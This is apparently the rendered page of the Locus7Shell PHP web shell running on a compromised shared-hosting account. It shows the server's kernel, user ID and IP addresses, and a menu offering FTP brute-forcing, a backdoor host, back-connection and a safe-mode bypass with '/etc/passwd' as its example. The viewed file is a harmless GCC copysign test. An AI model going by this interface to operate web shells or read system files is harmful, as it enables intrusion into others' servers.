Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.c-torture/execute/ieee/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     copysign1.c (2.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include <string.h>
#include <stdlib.h>
#include <float.h>

#define fpsizeoff    sizeof(float)
#define fpsizeof    sizeof(double)
#define fpsizeofl    sizeof(long double)

/* Work around the fact that with the Intel double-extended precision,
   we've got a 10 byte type stuffed into some amount of padding.  And
   the fact that -ffloat-store is going to stuff this value temporarily
   into some bit of stack frame that we've no control over and can't zero.  */
#if LDBL_MANT_DIG == 64
# if defined(__i386__) || defined(__x86_64__) || defined (__ia64__)
#  undef fpsizeofl
#  define fpsizeofl    10
# endif
#endif

/* Work around the fact that the sign of the second double in the IBM
   double-double format is not strictly specified when it contains a zero.
   For instance, -0.0L can be represented with either (-0.0, +0.0) or
   (-0.0, -0.0).  The former is what we'll get from the compiler when it
   builds constants; the later is what we'll get from the negation operator
   at runtime.  */
/* ??? This hack only works for big-endian, which is fortunately true for
   AIX and, Darwin.  */
#if LDBL_MANT_DIG == 106
# undef fpsizeofl
# define fpsizeofl    sizeof(double)
#endif


#define TEST(TYPE, EXT)                        \
TYPE c##EXT (TYPE x, TYPE y)                    \
{                                \
  return __builtin_copysign##EXT (x, y);            \
}                                \
                                \
struct D##EXT { TYPE x, y, z; };                \
                                \
static const struct D##EXT T##EXT[] = {                \
  { 1.0, 2.0, 1.0 },                        \
  { 1.0, -2.0, -1.0 },                        \
  { -1.0, -2.0, -1.0 },                        \
  { 0.0, -2.0, -0.0 },                        \
  { -0.0, -2.0, -0.0 },                        \
  { -0.0, 2.0, 0.0 },                        \
  { __builtin_inf##EXT (), -0.0, -__builtin_inf##EXT () },    \
  { -__builtin_nan##EXT (""), __builtin_inf##EXT (),        \
    __builtin_nan##EXT ("") }                    \
};                                \
                                \
void test##EXT (void)                        \
{                                \
  int i, n = sizeof (T##EXT) / sizeof (T##EXT[0]);        \
  TYPE r;                            \
  for (i = 0; i < n; ++i)                    \
    {                                \
      r = c##EXT (T##EXT[i].x, T##EXT[i].y);            \
      if (memcmp (&r, &T##EXT[i].z, fpsizeof##EXT) != 0)    \
    abort ();                        \
    }                                \
}

TEST(float, f)
TEST(double, )
TEST(long double, l)

int main()
{
  testf();
  test();
  testl();
  return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0053 ]--